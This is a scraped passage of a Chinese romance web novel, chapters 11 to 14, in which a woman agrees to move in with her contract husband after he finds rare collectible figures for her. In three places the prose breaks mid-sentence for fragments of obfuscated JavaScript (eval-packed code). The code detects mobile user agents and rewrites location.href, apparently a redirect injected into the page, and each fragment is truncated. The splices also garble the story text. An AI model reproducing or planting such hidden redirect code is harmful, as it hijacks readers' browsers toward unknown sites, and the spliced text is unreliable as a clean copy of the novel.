“那什么时候是什么时候？”邵成章思路没跟上，完全是惯性提问。 陈航有点惊讶：“就……就是做那个的时候……” “哦，知道了。”邵成章移开视线，这时候两个男人对视着说这些总有些尴尬。 第一个他做不到，第三个更不可能，但如果送礼物，送什么呢…… 陈航告诉他的经验，送女生最近想要的，尤其是她提到过的东西，如果没有，那就送花！至于多少，肯定是越多越惊艳越好了，总而言之一定要让女生有面子，还能发个朋友圈秀恩爱不浪费。 于是三小时候后，沈灼的办公室的确惊艳了整层楼。 可惜，邵成章疏忽了，这些招数可能只对正在热恋的女朋友有效。关系对了，是浪漫故事，对只和他见过两面几乎算不上相熟的沈灼来说，关系错误，简直是职场事故。 11. 第 11 章 “你……不喜欢吗？”邵成章有一丝尴尬。 谁能喜欢？！ 沈灼知道自己此刻肯定和靶子似的被同事们都盯着看，她只能强忍着没发作，在心里连说三声冷静。 她撇了他一眼，命令道：“在这呆着，哪儿也不许动！”说完她转身回到办公室收起电脑和包，想着赶紧把这个神经病带走。 林意跟在她后面，问这满办公室的玫瑰花怎么处理。 沈灼一顿，转身把怀里的玫瑰塞给她，她皱了下眉说让她分给同事们或者随她怎么处理掉都行。 “那你带一束回去吗？”眼见着她要走，林意问她，“空手走不会很伤你老公的心吗？” 伤心？她撕碎他的心都有了，让她这么尴尬难堪。这个邵成章为了让她同意同居，真是无所不用其极。 一身反骨被激出来，她偏不同意。 沈灼咬咬牙说：“不带。” 再次出办公室，她尽量进行好表情管理，在经过邵成章的时候忍住不去瞪他。 邵成章跟在她后面，进了电梯门刚关上，沈灼就忍不住朝他大喊：“邵成章你是不是有什么毛病？！” “抱歉，这确实和我预想的有偏差。”邵成章侧首盯着她说，“但可以请你再次考虑一下我的请求吗？” “当然——”沈灼呵呵一笑，“不考虑。” 邵成章蹙眉说：“如果你不答应，我会天天来的。” 沈灼瞪着他：“你这是在威胁我吗？你很闲吗？不用上班吗？”她加重语气，“你这是骚扰知不知道？” 邵成章说：“真的抱歉，我确实没有办法。” 听听，好像他做的这事还很无奈一样，沈灼简直要被他气笑了.她现在已经顾不上什么素质教养，只想对眼前这个人破口大骂，不过电梯“叮”一声已经到达一楼让她没有张开口。她走出电梯，脚下生风一样走得飞快，恨不得立即甩掉身后这个男人。 她真的快要气疯了。她当初是中邪了才会结这个婚。 走出大楼，她在包里摸车钥匙，习惯性往停车位方向走。刚准备解车锁，就被邵成章拽住了胳膊。 “沈灼，我真的有不得已的理由。”他顿了下，语气无比认真，“或者你告诉我到底要怎样你才肯答应？” “想要我答应是吗？”沈灼挑眉看向他，“好啊，如果你能把Dreamora公司的Lumi隐藏款和绝版款全都找到给我的话，我就答应。” “就这样？”邵成章都怀疑自己听错了。 “呵。”她冷笑一声，“对，就这样。如果找不到，以后就别来烦我。” 邵成章倏地笑了，松开她的手腕，说了声“一言为定”。 沈灼看他一副自以为很简单的样子只觉得可笑，果然是个什么都不懂还死装的男人。慢慢找去吧，能找到算我输。 沈灼翻了个白眼，立即转身走向车子。 邵成章站在原地，目送车辆远去，直到彻底看不见，他缓缓地、重重地呼出了一口气。掌心有细微的黏湿感，他低头一看，才发现手心此刻已经全是汗。 哪怕是在谈判桌上，他从来都胸有成竹，游刃有余。可刚才在人来人往的大楼里，他拿着一大捧玫瑰花在众目睽睽之下，等沈灼出现时，他承认他从没这样紧张过。 可不知为何，他并不恼，甚至他觉得沈灼还挺有意思的。 不攀附，不谄媚，不虚荣，也不会讨好。他常常猜不到她在想什么。 好在沈灼垂怜，峰回路转，她提出的条件对别人来说确实不是一件容易的事，但对他来说简直轻而易举。他倏地笑了下，掏出手机，清了清嗓子，拨通陈航的电话。 * 停车场停着一辆红旗，很好的隐没在即将天黑的夜色里。 邵松坐在后排，哼了一声，看见邵成章和沈灼刚刚的拉扯，心下了然，对前排副驾的田阳说，“我就知道这小子是故意的。” 上午邵成章一离开家，邵松就找人查了沈灼的底细，模样学历都没得说，就是在娱乐圈工作他不喜欢，觉得这是个乌烟瘴气的行业，不过一看是关司予的经纪人，他又稍微能接受了一点。 他笑了笑，“小丫头还挺有脾气。” 田阳微笑着回头：“您这是满意？” “那还能怎么办？能押着他们去离婚吗？好歹是个清白姑娘，模样长得也挺俊，还是那关家小子的经纪人。关海能让她带孙子，说明有点本事。而且那关昕，在国外待了得有十年了吧，就怕生活作风都和那外国人一样，我可看不惯他们乱七八糟那一套。”邵松叹口气，“这臭小子倔脾气是随我了。再说——是我对不起他妈。这事我也不管了，随他去吧。” 田阳微微颔首：“大公子温润，小公子锋利，都是您教出来的。如今各成一格，您这是有福气。” 邵松笑了两声，靠在椅背上，“你说我今年能不能抱上个孙儿？老庄孙女都四岁了，那小娃娃天天黏着他，甜得很。我一去他们家吃饭，她就扑我腿上坐着，可亲人了。”邵松有点不服气，“那老庄和我比了一辈子，没想到这事儿竟然没比过他。” 田阳也笑了：“要不说您高明，小邵总住的悦澜湾那里可只有一个房间。年轻人嘛，擦枪走火容易得很，今年不能明年也能。” 邵松哈哈一笑。 田阳：“董事长，您看需不需要安排和亲家母见个面？” 邵松略一思考：“等他带着那丫头回来吧，正式见过了再提也不迟。”说完，邵松又提醒田阳尽快找个阿姨过去。 ＊ 第二天下午，沈灼很意外地收到邵成章的电话。本以为说了条件，他能消失一阵子的。但得知他已经将所有的隐藏款都集齐之后，沈灼匆匆跑出办公大楼。 邵成章的车依旧停在路边，见沈灼疾步走来，他从后座搬出来一个大箱子递给她。 沈灼陷入震惊。 怎么可能？怎么可能呢？！她已经找了好多天，除了个别款可以花高价买到，其余款根本没有途径可以入。在箱子底部，甚至还有两个大娃。 沈灼瞪大眼睛，语气里满是掩盖不住的惊讶：“也太厉害了，你怎么集齐的啊？” 邵成章没说话，只是轻轻哼了声。 “我说，这是真的吧，你别给我搞的义乌批发货。”沈灼问，“我这是要送很重要的客户。” “……”邵成章有点无语，“假一赔十，如假包换，行吗？” 沈灼“哦”了声，“我知道有些款很贵的，是你自己收藏的吗？你也喜欢收盲盒吗？”要不然沈灼也想不到邵成章到底能从哪里这么快搞来这些，“真的都给我了吗？”她再次确认。 她往上踮了踮箱子，一双亮莹莹的眼睛，此刻神采奕奕地看着邵成章。 “朋友的，都送你了。”邵成章说。 “替我谢谢你朋友肯割爱，你问问哪天他有时间我请他吃饭啊，或者你把他微信推我也行，真是帮我大忙了。”沈灼莞尔一笑。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15594728|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“那我呢？”邵成章悠悠看她一眼，“怎么不请我吃饭？” “那、那不一样啊。”沈灼移开视线，没了之前强硬气势，有一丝尴尬，她昨天是不是好像骂他太大声了点？“你放心，我向来说到做到。说好了，你找来这些，我帮你应付家里。” 邵成章垂眼看着她的窘态，忽地笑了，他点头，还行，没忘。 “最晚需要什么时候过去？”她问。 “明天？” “……”沈灼又问，“那大概要住多久？” “这个我暂时不确定。” 沈灼很想撇他一眼，但扫到自己抱着的一大箱子盲盒还是忍住了。 邵成章看了眼时间，淡淡说：“没事那我先走了，明天搬家需要我过来帮忙吗？” “不用，我大概就一个行李箱。”沈灼摇头。 邵成章颔首，绕过车头准备上车，他刚打开车门，便听她“哎”了一声，他转头隔空看向她。 “谢了啊。”沈灼抱着箱子抽不出手来朝他挥手，只能笑着冲他扬了扬下巴。 阳光透过生新叶的绿树缝隙洒下来，斜斜地落在沈灼身上。忽然一阵风起，额前几缕细软的发丝扫过她的颊边。就只是这一瞬，眼前的画面不受控地落进了邵成章的心里，柔软、明亮，让人舍不得移不开眼睛。 邵成章觉得胸口像是被什么轻轻撩了一下。等意识到自己的失态，他迅速收回了视线，轻咳一声，掩去眼底短暂的情绪波动。 她的头发被风吹乱了。 临上车前，他想。 * 和邵成章分别之后，沈灼先抱着那一盒盲盒去了市里Dreamora旗舰店，她让店员帮忙确认那一箱子盲盒是否是正品，这要是假货送出去岂不是不用混了。 店员一一确认，确定这些都是正品，并且这里面有初代的几款甚至都没有正式发售过，有很高的收藏价值。 沈灼觉得这人情真是欠大了，但转念一想，自己都答应和他同居了，简直是赴汤蹈火，震天撼地。 她给步繁打了个电话，问她上次说的话还算不算数。 在在看到那一箱子的Lumi简直疯狂大叫，“妈咪，陆家豪的那几款我现在都有了，他没有的我也有了！”她挂在沈灼脖子上，左一句“沈灼阿姨真厉害”，右一句“沈灼阿姨你真好”，声音甜甜的，哄得人心花怒放。 步繁看着这一箱子盲盒，感叹一句，“没想到你真的都找来了啊。” “我答应的事什么时候做不到了。”沈灼笑着说，“怎么样，能和剧组那边推荐关司予吗？” “当然，我答应的事也一定会做到。”步繁说，“不过我只会推荐，至于用不用他，我说了可不算。” 沈灼点点头，“我知道。” “沈灼，关司予这样的新人能有你这样的经纪人，可真是走运。”步繁笑了一下，“你要不要考虑来我工作室啊？什么都好谈。” 沈灼说：“也不能说是走运，是他自己也很努力。现在的新人肯像他这样能不浮躁去学习是真的凤毛麟角，有时候遇到这样一个人感觉自己如果能帮他一把，那为什么不试试呢？如果他烂泥扶不上墙，你觉得我还会这样帮他争取吗？” 步繁笑了下，“也是，首秀就有这样的成绩，确实不多见了。其实你上次走之后我还看了他那部电影，挺有可塑性的，很期待和他合作。” 沈灼也笑了，既然步繁这么说，《雾灯》这项目关司予大概是稳了。 12. 第 12 章 沈灼到家时姜珺刚用空气炸锅烤好红薯，配着水煮菜油醋汁，她嚷嚷着回来这些天胡吃海喝后又胖了要减肥，沈灼不是很饿，和她一起吃了点菜叶子。 姜珺提起来她今天见了一资方谈项目，正好也是《雾灯》的资方之一，想问问用不用再帮忙让中间人推一下关司予。 沈灼摆手说不用，已经解决了。 “啊？”姜珺很惊讶，“你搞定步繁了？” “嗯。”沈灼说，“刚好今天有一朋友帮忙，不过我听步繁那意思，她对关司予其实还挺认可的，你觉得他俩搭吗？”沈灼没细说，怕姜珺刨根问底于是主动岔开了话题。 姜珺点头，“搭啊，关司予虽然不是科班出身，不过戏挺好的。” 沈灼又问起姜珺今日去谈的项目，直到快吃完饭，她提到自己要出差一段时间，问姜珺一个人在家行不行。 “这么突然啊。”不过沈灼出差是家常便饭，姜珺也没察觉出来什么异常，她笑笑，“那有什么不行的，说得我好像不能自理一样。高铁还是飞机，明晚我还有个饭局，要是白天的行程，我去送你？” “不用，已经约好车了。”这是她第一次和姜珺说谎，她低头一直看手机心虚得很，说话的时候都不敢看她，“你吃完放着，一会儿我洗。” 她起身从储物柜里罕见地拿出来一个28寸的行李箱拖进了卧室，衣帽鞋包四件套、化妆品保健品香水等等都得拿，几乎都装满了。 * 临近五月，正是电商平台开始年中大促的时候，邵成章一整天和各个部门开了大大小小五个会议。如果没有特殊情况，他一般是都在公司加班的，但今天不行。 今天沈灼要搬过来，散会之后，他直接驱车回家，将家里她可能会用到的地方都整理一番，留出一半的空间给她。 邵成章很在意自己的独处空间，他不喜欢和别人住在一起，从大学起，他就在外自己独居。但不知为什么，对象换成沈灼，他似乎没有想象中那么排斥。 悦澜湾是顶级高档公寓，私密性很好，沈灼是打车去的，即便和保安报备了详细楼号，物业这边还是打电话和业主确认了以后才允许进入。 普通人触不可及的豪华公寓配备的服务也是体贴周到，公寓管家帮忙将沈灼的行李箱推了上来，来的路上她还没有什么感觉，可听到门内的门铃声响起，她心里又有一种异样感。 想到他的职业，他的家里应该不会有一些奇奇怪怪的东西吧…… 还想着呢，电子门咔哒一声打开了。邵成章穿着家居服出现在门口，他侧身让开道，眉眼平静地看着她：“进来吧。” 沈灼在门口脱了鞋，从包里拿出湿巾将四个轮子擦了一遍才让管家帮忙提进门。 她跟着邵成章一路从入户玄关走过，纵然有心理准备，她还是被邵成章家给惊讶到了。她非常费解，开情趣用品店可以赚这么多钱吗？！ 沈灼内心咋舌，她奋斗了这么多年也不过是买了快到外环的一旧小区，有钱人却可以轻轻松松住在这样寸土寸金的位置。 可真是不公平。 “这是卧室，里面有衣帽间和洗手间，空余的位置你都可以放自己的东西，我的东西请你不要动。”邵成章带着她走进主卧，“另外我们可以划分好区域，家里有单独的工作间，或者书房，都可以办公，也不会打扰到对方。” 沈灼说：“我都可以，你平时用哪里比较多？” 邵成章直接替她判断：“那工作间留给你吧，就在卧室的隔壁。或者你先收拾，等结束了我带你熟悉一下家里。” 沈灼说了个OK。邵成章点点头让她自便就准备离开了。 “等等。”沈灼突然喊住他，一般有衣帽间和洗手间的不都是主卧套房？“你这里是主卧吧，我可以去次卧看看吗？”怎么着她也不应该睡在主卧，如果有必要，她还得另买一些床品回来。 邵成章盯着她摇摇头。 什么意思啊？ 不是吧…… “不好意思，家里没有次卧。” 沈灼有些震惊，“那你的意思是我们要睡在一张床上？” 一秒，两秒，没有回答，问题得到了默认。 “你是怎么敢想的啊？”沈灼气笑了。 蹬鼻子上脸是吧，就算他帮她解决了一个麻烦，但是并不意味着她可以接受和一个男人在同一个屋子睡觉甚至还要睡在同一张床上！ “虽然我们现在的关系确实是分房睡比较好，但因为家里条件，目前最合理的方案只能是同床不同被——” “睡地上。”沈灼打断他，退一步她勉强接受同屋，但是同床，绝对不！要！想！ “什么？”邵成章怀疑自己听错了。 “石头剪刀布吧，谁输了谁睡地上。”沈灼挑眉，“这样就很公平了不是吗？” 邵成章忽地笑了，他好像很多很多年都没玩过石头剪刀布了，没想到现在竟然是和沈灼讨论谁要睡地上的问题。 沈灼已经背起来一只手催促他，他只好妥协。 一把定输赢。 沈灼出了剪刀，邵成章出了布。 老天有眼啊！沈灼哈哈一笑，一副很得意的样子，“我赢了。”眉眼之间尽是炫耀。 邵成章轻挠额头，他忍不住勾了勾唇角，有些无奈，“好吧，听你的，我睡地上。”说完他离开留沈灼一个人整理行李箱。 沈灼经常出差，因此练就了一个快速收放行李的本领，没一会儿衣服鞋子都放置完了，还有两包洗漱用品和化妆品，沈灼找了两圈才发现主卧里的洗手间，因为是一道隐形门实在是很隐蔽。 洗手台是双台盆，外一侧台子上放置了邵成章的用品。沈灼很讨厌男女共用洗手间，这简直是前期租房留下的心理阴影。 她拎着洗漱包出去，看到邵成章坐在沙发上，衬衫领口随意解开两颗扣子，修长的手指飞快地在笔记本键盘上敲击着，工作时候的他还带着一副无边框眼镜，天花板上的水晶吊灯打下的光在他骨骼分明的脸上留下好看的阴影，整个人显得格外禁欲克制。 “怎么了？”邵成章微微侧头，透明镜片后的一双深邃眼睛盯着她。 她回过神来，和他打商量想要用外面的洗手间。 “沈灼，你可以把这里当成自己的家，放松一点。” 沈灼心里冷笑，她当然想把这当成自己的家了，那她做的第一件事就是让他先搬出去。 * 靠实力与运气，沈灼占领了超大双人床，她从家里带了一套牛油果绿的四件套直接换上。春天就要有春天的气息，这么瞧着比邵成章那纯黑的真丝四件套顺眼多了。 她穿着拖鞋尽量走的轻一些不发出声响，避免打扰到正在工作的邵成章。 不过就算想着不打扰也还是打扰到了。 邵成章盯着一页方案已经有五分钟，他不知道怎么了，一个字都看不进去，干脆抬起头微微一侧，看着沈灼进进出出的身影。 她拿出两双平底鞋放在门口的鞋柜里，又在门口的玄关柜上放了两瓶香水。 他看着沈灼将这里一点点填满，把自己原先的生活痕迹渗进他的生活里，莫名感到一种安心，实在是反常。 一阵窸窸窣窣的声音传来，阿瑞斯正在爬箱里爬来爬去，他起身走到生态缸前，看到阿瑞斯已经爬到了造景木上，它高高昂着头仿佛像是知道家里来了新人，想一探究竟。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15597763|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 邵成章垂眸笑了笑，伸出手指隔着玻璃点了点它的头，“阿瑞斯，你也应该很欢迎沈灼吧？” 沈灼已经收拾差不多了，出于礼貌她还是要和他打个招呼。 “那个，我收的差不多了。”话刚说完，她瞥见邵成章面前的大号生态缸，原本以为是鱼缸，走近才发现，里面竟然趴着一只……蜥蜴？！ 她怔了一秒，随即瞪大了眼睛：“你是养了个蜥蜴吗？” “嗯。这是鬃狮蜥，它叫阿瑞斯。” 沈灼忍不住凑近玻璃缸仔细打量着阿瑞斯，它全身覆着细密的鳞片，色泽深红，一道道的黑纹看起来十分酷，可能是看到了面生的面孔，阿瑞斯直接溜下来，前爪直接按在了玻璃上。 “嘿，阿瑞斯，你好帅啊。”她忍不住伸出一根手指，在生态缸上挠了挠，和阿瑞斯打招呼。 “你不害怕？” 沈灼撇撇嘴，“这有什么好怕的……不过它平时是吃什么？” 邵成章笑了下，“放心不是虫子，他吃干粮。” 沈灼放心了，她虽然不害怕阿瑞斯，可她不能接受房子里还要养一堆虫子。 知道她收拾完了，邵成章帮她把行李箱放到储物间，又顺便给她介绍了一下家里的布局以免她不熟悉。沈灼跟在邵成章身后，在将近300平的大平层里绕啊绕。 难怪只有一个卧室，其余的空间被邵成章设计成了书房、健身房和影音室。 实话实说，沈灼是真的很难不喜欢邵成章的家。不仅仅是装修风格很简约，这里几乎满足了她对“梦中情家”的全部想象。 尤其是影音室。 150寸的超大幕布，一对超软的皮质沙发，超级顶的音箱系统……沈灼根本忍不住不发出惊呼，尤其是邵成章告诉她可以随意使用的时候，她就更开心了，很难想象悠闲的休息时间，在这里看部电影喝杯小酒有多么惬意。 邵成章看着沈灼眼睛发光，忍不住勾勾嘴角，“你喜欢看电影吗？” 沈灼点头：“当然。” 两个人简单交换了一下自己的片单，沈灼偏爱现实主义题材或风格独特的文艺片，而邵成章则更倾向于情节紧凑、逻辑严谨的悬疑推理类型。但聊着聊着，两人却意外发现彼此都对一些冷门的小众电影和剧集如数家珍。或许是聊到了相同爱好，沈灼此刻放松了很多。 从影音室出来，便是用餐区。修长的岛台靠近外侧还设了四把高脚椅，岛台的一侧嵌着一个定制酒柜，门后是整整齐齐排列的酒品，邵成章顺手打开酒柜的那一刻，沈灼觉得这里简直化身成了乌托邦。 “那两瓶WildPony喝完了吗？”邵成章突然想起来问。 “没有。”沈灼摇摇头，见到他疑惑的表情，她解释道：“不是不想喝，是不舍得，就两瓶，喝完就没了。” 邵成章轻笑出声，语气里带着点宠溺：“喝完了可以再买。” “NoNoNo，”沈灼再次摇头，“小野马虽然不贵但是它限量产啊，没那么容易好买的。”说着说着她忽然“啊”了一声，整个人都来了精神，“我想知道你是在哪里买的，我还想再去买几瓶好了。” 邵成章靠在岛台边，看着她提到酒而闪闪发光的眼睛，嘴角带着笑意，“你不是找了Lumi的盲盒很久但也被我收集齐了？”邵成章说，“不过我朋友那里也没有了，只剩最后那两瓶了。” “啊……这样，果然是很难买吧。”沈灼有点失望。 邵成章忽然说道：“以后我看到，会帮你买的。” 她心里微微一动，却连忙摆手，“没事没事，不用麻烦的，我也就是随口一说。” 邵成章说：“不会麻烦。” 13. 第 13 章 沈灼一怔，而后笑了下，她只当他简单客气一下。毕竟碰碰上下嘴皮子的事，自己倒也不必上纲上线当真。 “今天没有小野马，红酒有兴趣吗？”邵成章笑着冲她挑挑眉，“庆祝我们现在算是真正的盟友了。” 沈灼巴不得讨杯酒喝，连忙点头说可以。 邵成章替她拉开高脚椅，而后绕过她，打开酒柜取了一瓶干红，又从橱柜里拿出海马刀。 沈灼手背撑着下巴看着他一点点将酒塞拔了出来。不像她，每次螺旋钻钻进木塞，最后总是扎偏，剩一半木塞堵在瓶口，最后无奈只能把木塞捅到酒里面去。 难怪她不喜欢自己喝红酒。 红酒杯轻触岛台，声音清脆。沈灼接过半杯酒道谢，却对上他不经意停留的视线。那眼神像是落在她的脸上，又像是落在心上。 她低头抿了一口酒，装作无意地四处打量，试图让自己看起来轻松点。这一打量她才发现这么大的家里竟然看不到一扇门。即便是洗手间影音室这种房间都是隐形门的设置，甚至外观做成了展示柜，打眼看过去根本不会想到那里是一扇可以推开的门。 好奇怪。 “你家的门都是隐形门啊？”沈灼问。 邵成章静了几秒，低声“嗯”了一句。沈灼以为这是他想要的装修效果，便没有多想。 沈灼向来不和不熟悉的人喝多酒，没有贪多，半杯下肚就停了。她对邵成章的书房很感兴趣，里面有一面满满当当的书柜，她仔细扫过那些书，有一部分她甚至都没听说过，看到感兴趣的书名她便抽出来翻一翻，邵成章应允她可以随时过来借阅。 两个人站在书柜前聊了好一会儿，不知不觉已经十一点多，于是各占领一个洗手间。沈灼回到主卧发现邵成章已经遵守约定在地上铺好了床铺。 此刻之前相处的和谐此刻荡然无存，沈灼即将面临一个情况：她要和一个异性在同一个房间睡觉。 好尴尬。 她有些不知所措，直愣愣地站在门口。 “怎么不进去？”邵成章突然出现在她的身后，吓了她一跳。 沈灼回过神，“没什么……对了，你父母明天什么时候过来，我需要做什么准备或者功课吗？” 邵成章默了一下，“不是我爸妈，是家里安排的阿姨过来，照顾我们的起居。” 沈灼脑子灵，一秒get到了他家里的意思，她忽然庆幸还好邵成章这里只有一个房间，阿姨不能住家，否则他俩早晚得露馅。 沈灼十分确定邵成章家里是有点小钱的，否则他这么年轻，怎么可能买得起几千万的房子。 他毕业于哥大，结果回来却开了个情.趣用品店，虽然嘴上说是没有职业歧视，但怎么可能呢，大多数人心里听到这职业总归有点想法。按他的说法，家里可能找了个门当户对的女孩子和他结婚，结果他扭头找了别人，这人就是沈灼。 沈灼自诩自己各方面条件并不差，但是站在他父母角度想，她和他肯定不属于门当户对，知道他擅自结婚这事肯定也十分生气。 以后还得以儿媳妇身份去见他家里人，怕是对她没什么好脸色。 沈灼想到这，轻叹一口气。 “又怎么了？”邵成章问。 沈灼说了自己的猜测和顾虑，邵成章勾了下唇，“放心，不会让你为难的。” 他走到衣帽间，中间的岛台上有一个皮质盒子。 “如果钻戒不方便，那就戴这个吧。”他来到沈灼面前，打开盒子，里面有一对戒指，“做戏总要做全一点。” 格拉夫的Spiral对戒，莫斯乌比环的款式，女款比男款相比，镶满了钻，灯光一照，发出璀璨的细闪，但比HW的戒指低调多了。 沈灼以前带艺人是个这个品牌合作过的，是高奢档位。她怎么也想不到邵成章会买这么贵的戒指。若是一般牌子的戒指，沈灼一定会提出和他AA，但是现在让她A个十万一对的对指，她实在是肉痛…… “这样吧……戒指我先戴着，等结束那天我会还给你的。”她伸出手捏着戒指在他眼前晃了下，见他没有意见，便戴在了右手无名指上。 邵成章的目光不由自主地停留在沈灼的手上。她的手指纤长，骨节分明，戒指大小刚刚好套在她的指根，他满意地笑了笑，尺寸正合适。 沈灼一会儿张开手，一会儿拢起手指，不停地观摩着钻戒。果然贵有贵的道理，这枚戒指戴着很好看。 “没想到啊，你的眼光还不错。”沈灼感慨一声。 “嗯，你喜欢就好。”邵成章凝视着那抹笑容，心底没来由得涌起一丝不明的波动，他借口还有工作要处理，沈灼表示理解，毕竟晚上才是他经营产品的需求高峰时间。 邵成章轻声和她道了晚安便出去了。 沈灼长长的呼出了一口气，她和邵成章虽不是很熟悉，可相处下来，也不难察觉出是一个很有分寸感和涵养的人，或许同居这段日子也不会那么难捱。 其实工作不需要熬夜紧急处理，不过是怕她不习惯睡不着才这么说，重新解锁笔记本，邵成章又开始看起方案来。 不知道是因为四件套有熟悉的味道还是邵成章的床太舒服，沈灼戴上耳塞和眼罩，几乎是沾了枕头就睡着了。一觉到天亮，沈灼醒来没有见到邵成章人，地上已经被收拾的干干净净，睡衣也安然的待在身上，一夜无事。 邵家安排的阿姨已经到了，见到沈灼，一句“邵太太”喊得她鸡皮疙瘩都快起来了，她连忙拜托阿姨以后直接喊她名字就好。 邵成章游泳回来之后便被沈灼招招手唤进了卧室。 “怎么了？”他问。 “今天可是星期五。”沈灼压低声音说，“周末陈阿姨也要呆在这里吗？” “如果你不想陈阿姨待在家里，我们可以出去。” “那不能每个周末都要出去吧，可以让她离开吗？我是说周末。”她在征求他的意见。 只见邵成章缓缓点头，沈灼笑着打了个响指。 陈阿姨是训练有素的家政阿姨，早上的早餐营养搭配得很丰富，一式双份。沈灼和邵成章面对面坐在岛台上。 准备的饮品有半杯纯牛奶，她提醒阿姨以后都不需要给她准备牛奶。 陈阿姨问：“是不喜欢喝牛奶吗？需要换成别的吗？” “不用换。”沈灼解释，“我有乳糖不耐，所以喝不了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15603570|171859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 陈阿姨“哎呦”一声，“真是不好意思，我也提前忘了问你能不能喝，还有没有什么忌口的我一并记下，口味有什么要求吗？” “没有，没关系，是我提前没和你说。”沈灼摇头，“其他方面我没什么忌口，别太油太辣就行，不过我平时加班比较多，晚上就不回来吃了，陈姨你不需要准备我那一份。”沈灼宁愿在公司加班点外卖，也不想回来和邵成章假扮恩爱夫妻。 “邵先生呢？” 邵成章看她一眼说：“一样，别太油太辣就行。” 陈阿姨记下，沈灼又喊住她，和她说周末可以不用过来。 陈阿姨以为是她对自己不满意：“是我做的哪里不好吗？” “不是。”沈灼对着她扬起一个笑容，语气都软下来：“我们想在家里过二人世界。”她转头看着邵成章，“是吧，亲爱的？”她笑盈盈的眼睛眨了眨，示意他配合一下。 听到她喊他亲爱的，邵成章微顿，迟疑了半拍才应了一声，“……嗯。” 陈阿姨瞬间明白过来，很开怀地说：“理解理解，你们年轻人平时太忙都没有时间相处的哦。” 沈灼笑笑没说话权当默认，她吃得差不多了，剩一点果汁，她仰头一饮而尽，眼角余光无意扫向对面，却发现神态自若的邵成章的耳尖似乎有一点红。 他不会是害羞了吧？想到这，沈灼忍不住多看了他两眼，无声地勾起了嘴角。 被人喊一声亲爱的就害羞，这人怎么这么纯情啊。 时间差不多了，邵成章主动提出要送她去上班，她本想拒绝，但是一想陈阿姨在这，当着她的面怎么也不能说不行…… 搬到悦澜湾，沈灼离公司也就七八公里的路程，高峰期加上几个红绿灯最多也就十五分钟的车程。她坐上车，顺手把公司地址发给了邵成章。 正系好安全带，她手机便响了，是某个演技类综艺节目的艺统打来的。 “沈灼姐，还是想再跟您商量一下我们节目组的邀约，我们这边是真的很希望关老师能来。” “亲爱的，我们司予目前的档期的确不合适。”她早些时间便已经拒绝了节目邀请，但对方依旧十分坚持。 坐在主驾驶的邵成章闻言默不作声地瞥了她一眼。 对方仍不死心，继续劝道：“姐，我不是说咱们这个节目有多高咖位，但曝光量确实不错，关老师现在多上几个节目，对他也有好处嘛。” 沈灼轻轻一笑，语调柔和却滴水不漏：“我明白，也一直很感谢节目组的肯定。不过司予现在的作品还太少，也不足以支撑他称作一个真正的演员，他自己的意思也是先再磨练磨练，如果贸然接综艺，对你们节目、对我们艺人，其实都不是双赢。” 那头沉默了一秒，显然听出了她话里的坚决，却又挑不出任何不是，只能悻悻道：“好吧……我再跟制片人说一声。” 沈灼笑着补了一句：“以后有机会我们再合作。” 挂了电话她又回复了几条微信消息，完全没有想和邵成章说话的意思。 邵成章堵在路上，一手轻扶着方向盘，一只手搭在车窗边，突然问她：“你对谁都叫得那么亲近吗？” 14. 第 14 章 “什么？”沈灼抬起头看向他，邵成章的视线始终盯着前方，没有看她。 沈灼回忆了一下，她刚刚是怎么称呼那位艺统的？好像是喊了一句亲爱的吧？ “怎么了吗？”沈灼有点疑惑，“叫亲爱的不是很正常吗？” 随便叫陌生人亲爱的，这正常吗？邵成章想。 “你回复买东西的客人不也都得喊个‘亲’吗？”沈灼随口说。 原来是这样……邵成章淡淡地“哦”了一声。 回复消息的手一顿，她忽然想到早上他发红的耳朵。天哪，他不会以为真的有什么特殊含义吧……沈灼又忍不住转头瞄了一眼他的耳尖，那点红色已经消失了。 “怎么，我们在外人面前需要有特定的称呼吗？”她忽地笑了下，故意说，“叫你Darling？Honey？还是宝贝？” “不需要。”邵成章依旧目视前方，这些对于他来说太肉麻了，他说不出口，“沈小姐，还是直接称呼名字就好。” 好像很久没听他称呼自己为沈小姐了，沈灼咂摸出味儿，撇嘴笑了。不就开个玩笑，怎么还恼羞成怒了呢。 她下意识点开姜珺的对话框，想和她碎碎念，昨晚姜珺还关心地问她有没有落地达到，此刻她意识到这段时间她连聊天都要小心翼翼了。 果然，撒了一个谎，要用无数个谎话来圆。 * 周五下午都是例行会议，沈灼把最近收到的策划案和角色评估汇报了一遍，老板杨瑞泽对沈灼的专业能力毋庸置疑，但他不满她对关司予的安排。 关司予当初进公司，他是冲着关司予背景去的，家里从军从政，实打实的X圈少爷，可是被沈灼压得死死的，怎么都不肯大做文章。 